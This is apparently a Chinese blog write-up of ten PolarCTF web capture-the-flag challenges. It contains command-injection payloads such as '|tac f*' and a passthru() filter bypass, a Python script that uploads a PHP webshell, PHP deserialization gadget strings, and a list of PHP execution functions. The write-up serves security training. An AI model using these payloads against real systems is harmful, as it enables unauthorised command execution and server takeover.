Web刷題之polarctf靶場(3)

Tlomlyiyi發表於2024-10-14

1. 幹正則

開啟靶場發現是簡單的php程式碼審計, 先構造id=a[0]=www.polarctf.com, 由於要ping兩次, 所以先構造cmd=|ls
<?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {
        $ip = $_GET['cmd'];
        if (preg_match('/flag\.php/', $ip)) {
            die("don't show flag!!!");
        }

        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其實很簡單!');
    }
}

image

再由於正則匹配, 我們將cmd修改為cmd=|tac f*

image

#flag{e44882416c9fa79cc5a6a51e6e19cdbc}

2. cool

開啟靶場, 發現是簡單的php程式碼審計, 需要GET傳一個引數a, 但是系統命令執行函式system()被禁止了, 這裡我們用passthru()來替代, a=passthru('ls');
<?php
if(isset($_GET['a'])){
    $a = $_GET['a'];
    if(is_numeric($a)){
        echo "no";
    }
    if(!preg_match("/flag|system|php/i", $a)){
        eval($a);
    }
}else{
    highlight_file(__FILE__);
}
?>

image

由於flag字樣也被禁止了, 我們用通識符來得到flag即a=passthru('tac f*');

image

#flag{4512esfgsdIirhgui82545er4g5e5rg4er1}

知識擴充套件(PHP中常見的命令執行函式和程式碼執行函式)

1. 命令執行函式
	system(), passthru(), exec(), pcntl_exec(), shell_exec(), popen()/proc_popen(), 反引號``
system()作用: 將字串作為OS命令執行, 自帶輸出功能
passthru()作用: 將字串作為OS命令執行,不需要輸出執行結果,且輸出全部的內容。
exec()作用: 將字串作為OS命令執行,需要輸出執行結果,且它只會輸出最後一行的內容。
反引號的作用: [``]反引號裡面的程式碼也會被當作OS命令來執行

2.程式碼執行函式
eval(),assert(),call_user_func(),create_function(),array_map(),call_user_func_array(),array_filter(),uasort(),preg_replace()

3. uploader

無任何過濾的檔案上傳, 直接編寫指令碼

image

#python
import requests

url = "http://0105ca15-ea17-4e7d-81f0-532138331d00.www.polarctf.com:8090/"
files = {'file': open('E:\桌面\webshell.php', 'rb')}

response = requests.post(url, files=files)

#如果狀態碼是200
if response.status_code == 200:
    print("Sucessfully")
    print(f"伺服器返回資訊: {response.text}")
else:
    print(f"狀態碼為: {response.status_code}")

image

拼接$sandBox和檔名(http://0105ca15-ea17-4e7d-81f0-532138331d00.www.polarctf.com:8090/149c0f3372e25adcc21feb96ea439698/webshell.php), 再用蟻劍連線即可

image

#flag{256d5ca173f463165db6ed366b597da8}

4. 覆蓋

和第一題一樣
#flag{e44882416c9fa79cc5a6a51e6e19cdbc}

5. PHP反序列化初試

一眼鏈子為 Easy->__wakeup()->Evil->__toString()

image

先構造ls檔案:O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:2:"ls";s:9:"%20Evil%20env";N;}}

image

再去讀取flag: O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:12:"tac f1@g.php";s:9:"%20Evil%20env";N;}}

image

#flag{08a46a069bd77e33531bb2ab244f4196}

6. 機器人

根據題目名稱, 猜測存在/robots.txt, flag{4749ea1ea481a5d

image

發現有Disallow禁止目錄收錄, 猜測剩下一半flag在裡面

image

#flag{4749ea1ea481a5d56685442c8516b61c}

7. 掃掃看

根據題目提示, 用dirsearch掃一下

image
image

#flag{094c9cc14068a7d18ccd0dd3606e532f}

8. debudao

打卡靶場F12檢視原始碼得到fake_flag

image

透過BurpSuite發包試試看看有什麼回顯

image

#flag{72077a55w312584wb1aaa88888cd41af}

9. 審計

直接搜尋找到特殊值繞過即可

image
或者
image

#flag{1bc29b36f623ba82aaf6724fd3b16718}

10. upload1

可以看到過濾的字尾名

image
image

上傳成功用蟻劍連線即可拿到flag
#flag{adbf5a778175ee757c34d0eba4e932bc}